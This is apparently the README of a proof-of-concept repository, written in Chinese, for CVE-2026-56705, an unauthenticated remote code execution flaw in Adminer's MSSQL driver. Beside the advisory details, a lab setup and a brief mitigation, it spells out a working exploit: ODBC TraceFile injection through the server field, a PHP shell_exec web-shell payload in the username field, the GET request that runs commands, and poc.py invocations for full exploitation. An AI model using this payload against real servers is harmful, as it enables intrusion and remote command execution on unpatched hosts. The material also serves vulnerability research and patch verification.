| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw(厂商公告)/ GHSA-34q8-53jm-qc2r(GitHub 数据库) |
| 产品 | Adminer(单文件 PHP 数据库管理工具) |
| 受影响版本 | 启用 pdo_sqlsrv + Microsoft ODBC Driver for SQL Server 的 Adminer < 5.4.3 |
| 修复版本 | 5.4.3 |
| CVSS | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 类型 | CWE-20 → 未认证任意文件写入 → RCE |
Adminer 在构建 MSSQL 连接的 PDO DSN 之前,未能对用户提供的 server 字段进行清理:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
server 中的分号被视为 ODBC 连接属性分隔符,因此未认证攻击者可以向 DSN 追加任意属性——包括 TraceFile 和 TraceOn。unixODBC 跟踪功能会将完整连接字符串(包含原样的 UID={username})写入 TraceFile,无论连接尝试是否成功,且在其之前。通过 username 字段注入 PHP 代码,并将 TraceFile 指向 Web 根目录,即可生成 Web Shell。
仅需一次未认证的登录 POST 请求即可完成利用。无需有效凭据,无需用户交互。
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} 的跟踪信息写入 /var/www/shell.phpGET /shell.php?c=id → 命令执行# 仅指纹识别
python3 poc.py --target http://target/adminer.php --check
# 完整利用(将 <random>.php 写入 Web 根目录)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
实验室镜像完全复现了公告中的前置条件:php:8.3-cli + pdo_sqlsrv(pecl)+ msodbcsql18,Web 根目录对 PHP 进程可写。
mssql 驱动,或在反向代理层剥离用户提供的 server 值中的 ;(及空白字符)。厂商公告将发现功劳共同归于报告者与 Yashar Shahinzadeh(@voorivex)。
PoC 与实验室:Hamza Cagrici(@Boreas37)
| 日期 | 事件 |
|---|---|
| 2026-08-25 | CVE 发布 / 在 Adminer 5.4.3 中修复 |